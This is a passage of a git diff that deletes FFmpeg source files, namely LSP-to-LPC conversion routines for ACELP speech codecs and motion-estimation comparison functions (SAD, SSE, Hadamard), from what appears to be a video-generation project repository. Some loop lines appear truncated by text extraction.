"lsp.h" -#if ARCH_MIPS -#include "libavcodec/mips/lsp_mips.h" -#endif /* ARCH_MIPS */ -#include "libavutil/avassert.h" - -void ff_acelp_reorder_lsf(int16_t* lsfq, int lsfq_min_distance, int lsfq_min, int lsfq_max, int lp_order) -{ - int i, j; - - /* sort lsfq in ascending order. float bubble algorithm, - O(n) if data already sorted, O(n^2) - otherwise */ - for(i=0; i=0 && lsfq[j] > lsfq[j+1]; j--) - FFSWAP(int16_t, lsfq[j], lsfq[j+1]); - - for(i=0; i> 8; - - av_assert2(arg <= 0x3fff); - - return tab_cos[ind] + (offset * (tab_cos[ind+1] - tab_cos[ind]) >> 8); -} - -void ff_acelp_lsf2lsp(int16_t *lsp, const int16_t *lsf, int lp_order) -{ - int i; - - /* Convert LSF to LSP, lsp=cos(lsf) */ - for(i=0; i> 15); // divide by PI and (0,13) -> (0,14) -} - -void ff_acelp_lsf2lspd(double *lsp, const float *lsf, int lp_order) -{ - int i; - - for(i = 0; i < lp_order; i++) - lsp[i] = cos(2.0 * M_PI * lsf[i]); -} - -/** - * @brief decodes polynomial coefficients from LSP - * @param[out] f decoded polynomial coefficients (-0x20000000 <= (3.22) <= 0x1fffffff) - * @param lsp LSP coefficients (-0x8000 <= (0.15) <= 0x7fff) - */ -static void lsp2poly(int* f, const int16_t* lsp, int lp_half_order) -{ - int i, j; - - f[0] = 0x400000; // 1.0 in (3.22) - f[1] = -lsp[0] * 256; // *2 and (0.15) -> (3.22) - - for(i=2; i<=lp_half_order; i++) - { - f[i] = f[i-2]; - for(j=i; j>1; j--) - f[j] -= MULL(f[j-1], lsp[2*i-2], FRAC_BITS) - f[j-2]; - - f[1] -= lsp[2*i-2] * 256; - } -} - -#ifndef lsp2polyf -/** - * Compute the Pa / (1 + z(-1)) or Qa / (1 - z(-1)) coefficients - * needed for LSP to LPC conversion. - * We only need to calculate the 6 first elements of the polynomial. - * - * @param lsp line spectral pairs in cosine domain - * @param[out] f polynomial input/output as a vector - * - * TIA/EIA/IS-733 2.4.3.3.5-1/2 - */ -static void lsp2polyf(const double *lsp, double *f, int lp_half_order) -{ - f[0] = 1.0; - f[1] = -2 * lsp[0]; - lsp -= 2; - for (int i = 2; i <= lp_half_order; i++) { - double val = -2 * lsp[2*i]; - f[i] = val * f[i-1] + 2*f[i-2]; - for (int j = i-1; j > 1; j--) - f[j] += f[j-1] * val + f[j-2]; - f[1] += val; - } -} -#endif /* lsp2polyf */ - -void ff_acelp_lsp2lpc(int16_t* lp, const int16_t* lsp, int lp_half_order) -{ - int i; - int f1[MAX_LP_HALF_ORDER+1]; // (3.22) - int f2[MAX_LP_HALF_ORDER+1]; // (3.22) - - lsp2poly(f1, lsp , lp_half_order); - lsp2poly(f2, lsp+1, lp_half_order); - - /* 3.2.6 of G.729, Equations 25 and 26*/ - lp[0] = 4096; - for(i=1; i> 11; // divide by 2 and (3.22) -> (3.12) - lp[(lp_half_order << 1) + 1 - i] = (ff1 - ff2) >> 11; // divide by 2 and (3.22) -> (3.12) - } -} - -void ff_amrwb_lsp2lpc(const double *lsp, float *lp, int lp_order) -{ - int lp_half_order = lp_order >> 1; - double buf[MAX_LP_HALF_ORDER + 1]; - double pa[MAX_LP_HALF_ORDER + 1]; - double *qa = buf + 1; - int i,j; - - qa[-1] = 0.0; - - lsp2polyf(lsp , pa, lp_half_order ); - lsp2polyf(lsp + 1, qa, lp_half_order - 1); - - for (i = 1, j = lp_order - 1; i < lp_half_order; i++, j--) { - double paf = pa[i] * (1 + lsp[lp_order - 1]); - double qaf = (qa[i] - qa[i-2]) * (1 - lsp[lp_order - 1]); - lp[i-1] = (paf + qaf) * 0.5; - lp[j-1] = (paf - qaf) * 0.5; - } - - lp[lp_half_order - 1] = (1.0 + lsp[lp_order - 1]) * - pa[lp_half_order] * 0.5; - - lp[lp_order - 1] = lsp[lp_order - 1]; -} - -void ff_acelp_lp_decode(int16_t* lp_1st, int16_t* lp_2nd, const int16_t* lsp_2nd, const int16_t* lsp_prev, int lp_order) -{ - int16_t lsp_1st[MAX_LP_ORDER]; // (0.15) - int i; - - /* LSP values for first subframe (3.2.5 of G.729, Equation 24)*/ - for(i=0; i> 1) + (lsp_prev[i] >> 1); -#else - lsp_1st[i] = (lsp_2nd[i] + lsp_prev[i]) >> 1; -#endif - - ff_acelp_lsp2lpc(lp_1st, lsp_1st, lp_order >> 1); - - /* LSP values for second subframe (3.2.5 of G.729)*/ - ff_acelp_lsp2lpc(lp_2nd, lsp_2nd, lp_order >> 1); -} - -void ff_acelp_lspd2lpc(const double *lsp, float *lpc, int lp_half_order) -{ - double pa[MAX_LP_HALF_ORDER+1], qa[MAX_LP_HALF_ORDER+1]; - float *lpc2 = lpc + (lp_half_order << 1) - 1; - - av_assert2(lp_half_order <= MAX_LP_HALF_ORDER); - - lsp2polyf(lsp, pa, lp_half_order); - lsp2polyf(lsp + 1, qa, lp_half_order); - - while (lp_half_order--) { - double paf = pa[lp_half_order+1] + pa[lp_half_order]; - double qaf = qa[lp_half_order+1] - qa[lp_half_order]; - - lpc [ lp_half_order] = 0.5*(paf+qaf); - lpc2[-lp_half_order] = 0.5*(paf-qaf); - } -} - -void ff_sort_nearly_sorted_floats(float *vals, int len) -{ - int i,j; - - for (i = 0; i < len - 1; i++) - for (j = i; j >= 0 && vals[j] > vals[j+1]; j--) - FFSWAP(float, vals[j], vals[j+1]); -} diff --git a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/me_cmp.c b/spaces/colakin/video-generater/public/ffmpeg/libavcodec/me_cmp.c deleted file mode 100644 index cd05e63ffd6787076e14635b195e6e3c3e7a87dd..0000000000000000000000000000000000000000 --- a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/me_cmp.c +++ /dev/null @@ -1,1073 +0,0 @@ -/* - * DSP utils - * Copyright (c) 2000, 2001 Fabrice Bellard - * Copyright (c) 2002-2004 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include "libavutil/attributes.h" -#include "libavutil/internal.h" -#include "libavutil/mem_internal.h" -#include "avcodec.h" -#include "copy_block.h" -#include "simple_idct.h" -#include "me_cmp.h" -#include "mpegvideoenc.h" -#include "config.h" -#include "config_components.h" - -/* (i - 256) * (i - 256) */ -const uint32_t ff_square_tab[512] = { - 65536, 65025, 64516, 64009, 63504, 63001, 62500, 62001, 61504, 61009, 60516, 60025, 59536, 59049, 58564, 58081, - 57600, 57121, 56644, 56169, 55696, 55225, 54756, 54289, 53824, 53361, 52900, 52441, 51984, 51529, 51076, 50625, - 50176, 49729, 49284, 48841, 48400, 47961, 47524, 47089, 46656, 46225, 45796, 45369, 44944, 44521, 44100, 43681, - 43264, 42849, 42436, 42025, 41616, 41209, 40804, 40401, 40000, 39601, 39204, 38809, 38416, 38025, 37636, 37249, - 36864, 36481, 36100, 35721, 35344, 34969, 34596, 34225, 33856, 33489, 33124, 32761, 32400, 32041, 31684, 31329, - 30976, 30625, 30276, 29929, 29584, 29241, 28900, 28561, 28224, 27889, 27556, 27225, 26896, 26569, 26244, 25921, - 25600, 25281, 24964, 24649, 24336, 24025, 23716, 23409, 23104, 22801, 22500, 22201, 21904, 21609, 21316, 21025, - 20736, 20449, 20164, 19881, 19600, 19321, 19044, 18769, 18496, 18225, 17956, 17689, 17424, 17161, 16900, 16641, - 16384, 16129, 15876, 15625, 15376, 15129, 14884, 14641, 14400, 14161, 13924, 13689, 13456, 13225, 12996, 12769, - 12544, 12321, 12100, 11881, 11664, 11449, 11236, 11025, 10816, 10609, 10404, 10201, 10000, 9801, 9604, 9409, - 9216, 9025, 8836, 8649, 8464, 8281, 8100, 7921, 7744, 7569, 7396, 7225, 7056, 6889, 6724, 6561, - 6400, 6241, 6084, 5929, 5776, 5625, 5476, 5329, 5184, 5041, 4900, 4761, 4624, 4489, 4356, 4225, - 4096, 3969, 3844, 3721, 3600, 3481, 3364, 3249, 3136, 3025, 2916, 2809, 2704, 2601, 2500, 2401, - 2304, 2209, 2116, 2025, 1936, 1849, 1764, 1681, 1600, 1521, 1444, 1369, 1296, 1225, 1156, 1089, - 1024, 961, 900, 841, 784, 729, 676, 625, 576, 529, 484, 441, 400, 361, 324, 289, - 256, 225, 196, 169, 144, 121, 100, 81, 64, 49, 36, 25, 16, 9, 4, 1, - 0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100, 121, 144, 169, 196, 225, - 256, 289, 324, 361, 400, 441, 484, 529, 576, 625, 676, 729, 784, 841, 900, 961, - 1024, 1089, 1156, 1225, 1296, 1369, 1444, 1521, 1600, 1681, 1764, 1849, 1936, 2025, 2116, 2209, - 2304, 2401, 2500, 2601, 2704, 2809, 2916, 3025, 3136, 3249, 3364, 3481, 3600, 3721, 3844, 3969, - 4096, 4225, 4356, 4489, 4624, 4761, 4900, 5041, 5184, 5329, 5476, 5625, 5776, 5929, 6084, 6241, - 6400, 6561, 6724, 6889, 7056, 7225, 7396, 7569, 7744, 7921, 8100, 8281, 8464, 8649, 8836, 9025, - 9216, 9409, 9604, 9801, 10000, 10201, 10404, 10609, 10816, 11025, 11236, 11449, 11664, 11881, 12100, 12321, - 12544, 12769, 12996, 13225, 13456, 13689, 13924, 14161, 14400, 14641, 14884, 15129, 15376, 15625, 15876, 16129, - 16384, 16641, 16900, 17161, 17424, 17689, 17956, 18225, 18496, 18769, 19044, 19321, 19600, 19881, 20164, 20449, - 20736, 21025, 21316, 21609, 21904, 22201, 22500, 22801, 23104, 23409, 23716, 24025, 24336, 24649, 24964, 25281, - 25600, 25921, 26244, 26569, 26896, 27225, 27556, 27889, 28224, 28561, 28900, 29241, 29584, 29929, 30276, 30625, - 30976, 31329, 31684, 32041, 32400, 32761, 33124, 33489, 33856, 34225, 34596, 34969, 35344, 35721, 36100, 36481, - 36864, 37249, 37636, 38025, 38416, 38809, 39204, 39601, 40000, 40401, 40804, 41209, 41616, 42025, 42436, 42849, - 43264, 43681, 44100, 44521, 44944, 45369, 45796, 46225, 46656, 47089, 47524, 47961, 48400, 48841, 49284, 49729, - 50176, 50625, 51076, 51529, 51984, 52441, 52900, 53361, 53824, 54289, 54756, 55225, 55696, 56169, 56644, 57121, - 57600, 58081, 58564, 59049, 59536, 60025, 60516, 61009, 61504, 62001, 62500, 63001, 63504, 64009, 64516, 65025, -}; - -static int sse4_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - const uint32_t *sq = ff_square_tab + 256; - - for (i = 0; i < h; i++) { - s += sq[pix1[0] - pix2[0]]; - s += sq[pix1[1] - pix2[1]]; - s += sq[pix1[2] - pix2[2]]; - s += sq[pix1[3] - pix2[3]]; - pix1 += stride; - pix2 += stride; - } - return s; -} - -static int sse8_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - const uint32_t *sq = ff_square_tab + 256; - - for (i = 0; i < h; i++) { - s += sq[pix1[0] - pix2[0]]; - s += sq[pix1[1] - pix2[1]]; - s += sq[pix1[2] - pix2[2]]; - s += sq[pix1[3] - pix2[3]]; - s += sq[pix1[4] - pix2[4]]; - s += sq[pix1[5] - pix2[5]]; - s += sq[pix1[6] - pix2[6]]; - s += sq[pix1[7] - pix2[7]]; - pix1 += stride; - pix2 += stride; - } - return s; -} - -static int sse16_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - const uint32_t *sq = ff_square_tab + 256; - - for (i = 0; i < h; i++) { - s += sq[pix1[0] - pix2[0]]; - s += sq[pix1[1] - pix2[1]]; - s += sq[pix1[2] - pix2[2]]; - s += sq[pix1[3] - pix2[3]]; - s += sq[pix1[4] - pix2[4]]; - s += sq[pix1[5] - pix2[5]]; - s += sq[pix1[6] - pix2[6]]; - s += sq[pix1[7] - pix2[7]]; - s += sq[pix1[8] - pix2[8]]; - s += sq[pix1[9] - pix2[9]]; - s += sq[pix1[10] - pix2[10]]; - s += sq[pix1[11] - pix2[11]]; - s += sq[pix1[12] - pix2[12]]; - s += sq[pix1[13] - pix2[13]]; - s += sq[pix1[14] - pix2[14]]; - s += sq[pix1[15] - pix2[15]]; - - pix1 += stride; - pix2 += stride; - } - return s; -} - -static int sum_abs_dctelem_c(const int16_t *block) -{ - int sum = 0, i; - - for (i = 0; i < 64; i++) - sum += FFABS(block[i]); - return sum; -} - -#define avg2(a, b) (((a) + (b) + 1) >> 1) -#define avg4(a, b, c, d) (((a) + (b) + (c) + (d) + 2) >> 2) - -static inline int pix_abs16_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - - for (i = 0; i < h; i++) { - s += abs(pix1[0] - pix2[0]); - s += abs(pix1[1] - pix2[1]); - s += abs(pix1[2] - pix2[2]); - s += abs(pix1[3] - pix2[3]); - s += abs(pix1[4] - pix2[4]); - s += abs(pix1[5] - pix2[5]); - s += abs(pix1[6] - pix2[6]); - s += abs(pix1[7] - pix2[7]); - s += abs(pix1[8] - pix2[8]); - s += abs(pix1[9] - pix2[9]); - s += abs(pix1[10] - pix2[10]); - s += abs(pix1[11] - pix2[11]); - s += abs(pix1[12] - pix2[12]); - s += abs(pix1[13] - pix2[13]); - s += abs(pix1[14] - pix2[14]); - s += abs(pix1[15] - pix2[15]); - pix1 += stride; - pix2 += stride; - } - return s; -} - -static inline int pix_median_abs16_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i, j; - -#define V(x) (pix1[x] - pix2[x]) - - s += abs(V(0)); - s += abs(V(1) - V(0)); - s += abs(V(2) - V(1)); - s += abs(V(3) - V(2)); - s += abs(V(4) - V(3)); - s += abs(V(5) - V(4)); - s += abs(V(6) - V(5)); - s += abs(V(7) - V(6)); - s += abs(V(8) - V(7)); - s += abs(V(9) - V(8)); - s += abs(V(10) - V(9)); - s += abs(V(11) - V(10)); - s += abs(V(12) - V(11)); - s += abs(V(13) - V(12)); - s += abs(V(14) - V(13)); - s += abs(V(15) - V(14)); - - pix1 += stride; - pix2 += stride; - - for (i = 1; i < h; i++) { - s += abs(V(0) - V(-stride)); - for (j = 1; j < 16; j++) - s += abs(V(j) - mid_pred(V(j-stride), V(j-1), V(j-stride) + V(j-1) - V(j-stride-1))); - pix1 += stride; - pix2 += stride; - - } -#undef V - return s; -} - -static int pix_abs16_x2_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - - for (i = 0; i < h; i++) { - s += abs(pix1[0] - avg2(pix2[0], pix2[1])); - s += abs(pix1[1] - avg2(pix2[1], pix2[2])); - s += abs(pix1[2] - avg2(pix2[2], pix2[3])); - s += abs(pix1[3] - avg2(pix2[3], pix2[4])); - s += abs(pix1[4] - avg2(pix2[4], pix2[5])); - s += abs(pix1[5] - avg2(pix2[5], pix2[6])); - s += abs(pix1[6] - avg2(pix2[6], pix2[7])); - s += abs(pix1[7] - avg2(pix2[7], pix2[8])); - s += abs(pix1[8] - avg2(pix2[8], pix2[9])); - s += abs(pix1[9] - avg2(pix2[9], pix2[10])); - s += abs(pix1[10] - avg2(pix2[10], pix2[11])); - s += abs(pix1[11] - avg2(pix2[11], pix2[12])); - s += abs(pix1[12] - avg2(pix2[12], pix2[13])); - s += abs(pix1[13] - avg2(pix2[13], pix2[14])); - s += abs(pix1[14] - avg2(pix2[14], pix2[15])); - s += abs(pix1[15] - avg2(pix2[15], pix2[16])); - pix1 += stride; - pix2 += stride; - } - return s; -} - -static int pix_abs16_y2_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - const uint8_t *pix3 = pix2 + stride; - - for (i = 0; i < h; i++) { - s += abs(pix1[0] - avg2(pix2[0], pix3[0])); - s += abs(pix1[1] - avg2(pix2[1], pix3[1])); - s += abs(pix1[2] - avg2(pix2[2], pix3[2])); - s += abs(pix1[3] - avg2(pix2[3], pix3[3])); - s += abs(pix1[4] - avg2(pix2[4], pix3[4])); - s += abs(pix1[5] - avg2(pix2[5], pix3[5])); - s += abs(pix1[6] - avg2(pix2[6], pix3[6])); - s += abs(pix1[7] - avg2(pix2[7], pix3[7])); - s += abs(pix1[8] - avg2(pix2[8], pix3[8])); - s += abs(pix1[9] - avg2(pix2[9], pix3[9])); - s += abs(pix1[10] - avg2(pix2[10], pix3[10])); - s += abs(pix1[11] - avg2(pix2[11], pix3[11])); - s += abs(pix1[12] - avg2(pix2[12], pix3[12])); - s += abs(pix1[13] - avg2(pix2[13], pix3[13])); - s += abs(pix1[14] - avg2(pix2[14], pix3[14])); - s += abs(pix1[15] - avg2(pix2[15], pix3[15])); - pix1 += stride; - pix2 += stride; - pix3 += stride; - } - return s; -} - -static int pix_abs16_xy2_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - const uint8_t *pix3 = pix2 + stride; - - for (i = 0; i < h; i++) { - s += abs(pix1[0] - avg4(pix2[0], pix2[1], pix3[0], pix3[1])); - s += abs(pix1[1] - avg4(pix2[1], pix2[2], pix3[1], pix3[2])); - s += abs(pix1[2] - avg4(pix2[2], pix2[3], pix3[2], pix3[3])); - s += abs(pix1[3] - avg4(pix2[3], pix2[4], pix3[3], pix3[4])); - s += abs(pix1[4] - avg4(pix2[4], pix2[5], pix3[4], pix3[5])); - s += abs(pix1[5] - avg4(pix2[5], pix2[6], pix3[5], pix3[6])); - s += abs(pix1[6] - avg4(pix2[6], pix2[7], pix3[6], pix3[7])); - s += abs(pix1[7] - avg4(pix2[7], pix2[8], pix3[7], pix3[8])); - s += abs(pix1[8] - avg4(pix2[8], pix2[9], pix3[8], pix3[9])); - s += abs(pix1[9] - avg4(pix2[9], pix2[10], pix3[9], pix3[10])); - s += abs(pix1[10] - avg4(pix2[10], pix2[11], pix3[10], pix3[11])); - s += abs(pix1[11] - avg4(pix2[11], pix2[12], pix3[11], pix3[12])); - s += abs(pix1[12] - avg4(pix2[12], pix2[13], pix3[12], pix3[13])); - s += abs(pix1[13] - avg4(pix2[13], pix2[14], pix3[13], pix3[14])); - s += abs(pix1[14] - avg4(pix2[14], pix2[15], pix3[14], pix3[15])); - s += abs(pix1[15] - avg4(pix2[15], pix2[16], pix3[15], pix3[16])); - pix1 += stride; - pix2 += stride; - pix3 += stride; - } - return s; -} - -static inline int pix_abs8_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - - for (i = 0; i < h; i++) { - s += abs(pix1[0] - pix2[0]); - s += abs(pix1[1] - pix2[1]); - s += abs(pix1[2] - pix2[2]); - s += abs(pix1[3] - pix2[3]); - s += abs(pix1[4] - pix2[4]); - s += abs(pix1[5] - pix2[5]); - s += abs(pix1[6] - pix2[6]); - s += abs(pix1[7] - pix2[7]); - pix1 += stride; - pix2 += stride; - } - return s; -} - -static inline int pix_median_abs8_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i, j; - -#define V(x) (pix1[x] - pix2[x]) - - s += abs(V(0)); - s += abs(V(1) - V(0)); - s += abs(V(2) - V(1)); - s += abs(V(3) - V(2)); - s += abs(V(4) - V(3)); - s += abs(V(5) - V(4)); - s += abs(V(6) - V(5)); - s += abs(V(7) - V(6)); - - pix1 += stride; - pix2 += stride; - - for (i = 1; i < h; i++) { - s += abs(V(0) - V(-stride)); - for (j = 1; j < 8; j++) - s += abs(V(j) - mid_pred(V(j-stride), V(j-1), V(j-stride) + V(j-1) - V(j-stride-1))); - pix1 += stride; - pix2 += stride; - - } -#undef V - return s; -} - -static int pix_abs8_x2_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - - for (i = 0; i < h; i++) { - s += abs(pix1[0] - avg2(pix2[0], pix2[1])); - s += abs(pix1[1] - avg2(pix2[1], pix2[2])); - s += abs(pix1[2] - avg2(pix2[2], pix2[3])); - s += abs(pix1[3] - avg2(pix2[3], pix2[4])); - s += abs(pix1[4] - avg2(pix2[4], pix2[5])); - s += abs(pix1[5] - avg2(pix2[5], pix2[6])); - s += abs(pix1[6] - avg2(pix2[6], pix2[7])); - s += abs(pix1[7] - avg2(pix2[7], pix2[8])); - pix1 += stride; - pix2 += stride; - } - return s; -} - -static int pix_abs8_y2_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - const uint8_t *pix3 = pix2 + stride; - - for (i = 0; i < h; i++) { - s += abs(pix1[0] - avg2(pix2[0], pix3[0])); - s += abs(pix1[1] - avg2(pix2[1], pix3[1])); - s += abs(pix1[2] - avg2(pix2[2], pix3[2])); - s += abs(pix1[3] - avg2(pix2[3], pix3[3])); - s += abs(pix1[4] - avg2(pix2[4], pix3[4])); - s += abs(pix1[5] - avg2(pix2[5], pix3[5])); - s += abs(pix1[6] - avg2(pix2[6], pix3[6])); - s += abs(pix1[7] - avg2(pix2[7], pix3[7])); - pix1 += stride; - pix2 += stride; - pix3 += stride; - } - return s; -} - -static int pix_abs8_xy2_c(MpegEncContext *v, const uint8_t *pix1, const uint8_t *pix2, - ptrdiff_t stride, int h) -{ - int s = 0, i; - const uint8_t *pix3 = pix2 + stride; - - for (i = 0; i < h; i++) { - s += abs(pix1[0] - avg4(pix2[0], pix2[1], pix3[0], pix3[1])); - s += abs(pix1[1] - avg4(pix2[1], pix2[2], pix3[1], pix3[2])); - s += abs(pix1[2] - avg4(pix2[2], pix2[3], pix3[2], pix3[3])); - s += abs(pix1[3] - avg4(pix2[3], pix2[4], pix3[3], pix3[4])); - s += abs(pix1[4] - avg4(pix2[4], pix2[5], pix3[4], pix3[5])); - s += abs(pix1[5] - avg4(pix2[5], pix2[6], pix3[5], pix3[6])); - s += abs(pix1[6] - avg4(pix2[6], pix2[7], pix3[6], pix3[7])); - s += abs(pix1[7] - avg4(pix2[7], pix2[8], pix3[7], pix3[8])); - pix1 += stride; - pix2 += stride; - pix3 += stride; - } - return s; -} - -static int nsse16_c(MpegEncContext *c, const uint8_t *s1, const uint8_t *s2, - ptrdiff_t stride, int h) -{ - int score1 = 0, score2 = 0, x, y; - - for (y = 0; y < h; y++) { - for (x = 0; x < 16; x++) - score1 += (s1[x] - s2[x]) * (s1[x] - s2[x]); - if (y + 1 < h) { - for (x = 0; x < 15; x++) - score2 += FFABS(s1[x] - s1[x + stride] - - s1[x + 1] + s1[x + stride + 1]) - - FFABS(s2[x] - s2[x + stride] - - s2[x + 1] + s2[x + stride + 1]); - } - s1 += stride; - s2 += stride; - } - - if (c) - return score1 + FFABS(score2) * c->avctx->nsse_weight; - else - return score1 + FFABS(score2) * 8; -} - -static int nsse8_c(MpegEncContext *c, const uint8_t *s1, const uint8_t *s2, - ptrdiff_t stride, int h) -{ - int score1 = 0, score2 = 0, x, y; - - for (y = 0; y < h; y++) { - for (x = 0; x < 8; x++) - score1 += (s1[x] - s2[x]) * (s1[x] - s2[x]); - if (y + 1 < h) { - for (x = 0; x < 7; x++) - score2 += FFABS(s1[x] - s1[x + stride] - - s1[x + 1] + s1[x + stride + 1]) - - FFABS(s2[x] - s2[x + stride] - - s2[x + 1] + s2[x + stride + 1]); - } - s1 += stride; - s2 += stride; - } - - if (c) - return score1 + FFABS(score2) * c->avctx->nsse_weight; - else - return score1 + FFABS(score2) * 8; -} - -static int zero_cmp(MpegEncContext *s, const uint8_t *a, const uint8_t *b, - ptrdiff_t stride, int h) -{ - return 0; -} - -int ff_set_cmp(MECmpContext *c, me_cmp_func *cmp, int type) -{ - int ret = 0; - int i; - - memset(cmp, 0, sizeof(void *) * 6); - - for (i = 0; i < 6; i++) { - switch (type & 0xFF) { - case FF_CMP_SAD: - cmp[i] = c->sad[i]; - break; - case FF_CMP_MEDIAN_SAD: - cmp[i] = c->median_sad[i]; - break; - case FF_CMP_SATD: - cmp[i] = c->hadamard8_diff[i]; - break; - case FF_CMP_SSE: - cmp[i] = c->sse[i]; - break; - case FF_CMP_DCT: - cmp[i] = c->dct_sad[i]; - break; - case FF_CMP_DCT264: - cmp[i] = c->dct264_sad[i]; - break; - case FF_CMP_DCTMAX: - cmp[i] = c->dct_max[i]; - break; - case FF_CMP_PSNR: - cmp[i] = c->quant_psnr[i]; - break; - case FF_CMP_BIT: - cmp[i] = c->bit[i]; - break; - case FF_CMP_RD: - cmp[i] = c->rd[i]; - break; - case FF_CMP_VSAD: - cmp[i] = c->vsad[i]; - break; - case FF_CMP_VSSE: - cmp[i] = c->vsse[i]; - break; - case FF_CMP_ZERO: - cmp[i] = zero_cmp; - break; - case FF_CMP_NSSE: - cmp[i] = c->nsse[i]; - break; -#if CONFIG_DWT - case FF_CMP_W53: - cmp[i]= c->w53[i]; - break; - case FF_CMP_W97: - cmp[i]= c->w97[i]; - break; -#endif - default: - av_log(NULL, AV_LOG_ERROR, - "invalid cmp function selection\n"); - ret = -1; - break; - } - } - - return ret; -} - -#define BUTTERFLY2(o1, o2, i1, i2) \ - o1 = (i1) + (i2); \ - o2 = (i1) - (i2); - -#define BUTTERFLY1(x, y) \ - { \ - int a, b; \ - a = x; \ - b = y; \ - x = a + b; \ - y = a - b; \ - } - -#define BUTTERFLYA(x, y) (FFABS((x) + (y)) + FFABS((x) - (y))) - -static int hadamard8_diff8x8_c(MpegEncContext *s, const uint8_t *dst, - const uint8_t *src, ptrdiff_t stride, int h) -{ - int i, temp[64], sum = 0; - - for (i = 0; i < 8; i++) { - // FIXME: try pointer walks - BUTTERFLY2(temp[8 * i + 0], temp[8 * i + 1], - src[stride * i + 0] - dst[stride * i + 0], - src[stride * i + 1] - dst[stride * i + 1]); - BUTTERFLY2(temp[8 * i + 2], temp[8 * i + 3], - src[stride * i + 2] - dst[stride * i + 2], - src[stride * i + 3] - dst[stride * i + 3]); - BUTTERFLY2(temp[8 * i + 4], temp[8 * i + 5], - src[stride * i + 4] - dst[stride * i + 4], - src[stride * i + 5] - dst[stride * i + 5]); - BUTTERFLY2(temp[8 * i + 6], temp[8 * i + 7], - src[stride * i + 6] - dst[stride * i + 6], - src[stride * i + 7] - dst[stride * i + 7]); - - BUTTERFLY1(temp[8 * i + 0], temp[8 * i + 2]); - BUTTERFLY1(temp[8 * i + 1], temp[8 * i + 3]); - BUTTERFLY1(temp[8 * i + 4], temp[8 * i + 6]); - BUTTERFLY1(temp[8 * i + 5], temp[8 * i + 7]); - - BUTTERFLY1(temp[8 * i + 0], temp[8 * i + 4]); - BUTTERFLY1(temp[8 * i + 1], temp[8 * i + 5]); - BUTTERFLY1(temp[8 * i + 2], temp[8 * i + 6]); - BUTTERFLY1(temp[8 * i + 3], temp[8 * i + 7]); - } - - for (i = 0; i < 8; i++) { - BUTTERFLY1(temp[8 * 0 + i], temp[8 * 1 + i]); - BUTTERFLY1(temp[8 * 2 + i], temp[8 * 3 + i]); - BUTTERFLY1(temp[8 * 4 + i], temp[8 * 5 + i]); - BUTTERFLY1(temp[8 * 6 + i], temp[8 * 7 + i]); - - BUTTERFLY1(temp[8 * 0 + i], temp[8 * 2 + i]); - BUTTERFLY1(temp[8 * 1 + i], temp[8 * 3 + i]); - BUTTERFLY1(temp[8 * 4 + i], temp[8 * 6 + i]); - BUTTERFLY1(temp[8 * 5 + i], temp[8 * 7 + i]); - - sum += BUTTERFLYA(temp[8 * 0 + i], temp[8 * 4 + i]) + - BUTTERFLYA(temp[8 * 1 + i], temp[8 * 5 + i]) + - BUTTERFLYA(temp[8 * 2 + i], temp[8 * 6 + i]) + - BUTTERFLYA(temp[8 * 3 + i], temp[8 * 7 + i]); - } - return sum; -} - -static int hadamard8_intra8x8_c(MpegEncContext *s, const uint8_t *src, - const uint8_t *dummy, ptrdiff_t stride, int h) -{ - int i, temp[64], sum = 0; - - for (i = 0; i < 8; i++) { - // FIXME: try pointer walks - BUTTERFLY2(temp[8 * i + 0], temp[8 * i + 1], - src[stride * i + 0], src[stride * i + 1]); - BUTTERFLY2(temp[8 * i + 2], temp[8 * i + 3], - src[stride * i + 2], src[stride * i + 3]); - BUTTERFLY2(temp[8 * i + 4], temp[8 * i + 5], - src[stride * i + 4], src[stride * i + 5]); - BUTTERFLY2(temp[8 * i + 6], temp[8 * i + 7], - src[stride * i + 6], src[stride * i + 7]); - - BUTTERFLY1(temp[8 * i + 0], temp[8 * i + 2]); - BUTTERFLY1(temp[8 * i + 1], temp[8 * i + 3]); - BUTTERFLY1(temp[8 * i + 4], temp[8 * i + 6]); - BUTTERFLY1(temp[8 * i + 5], temp[8 * i + 7]); - - BUTTERFLY1(temp[8 * i + 0], temp[8 * i + 4]); - BUTTERFLY1(temp[8 * i + 1], temp[8 * i + 5]); - BUTTERFLY1(temp[8 * i + 2], temp[8 * i + 6]); - BUTTERFLY1(temp[8 * i + 3], temp[8 * i + 7]); - } - - for (i = 0; i < 8; i++) { - BUTTERFLY1(temp[8 * 0 + i], temp[8 * 1 + i]); - BUTTERFLY1(temp[8 * 2 + i], temp[8 * 3 + i]); 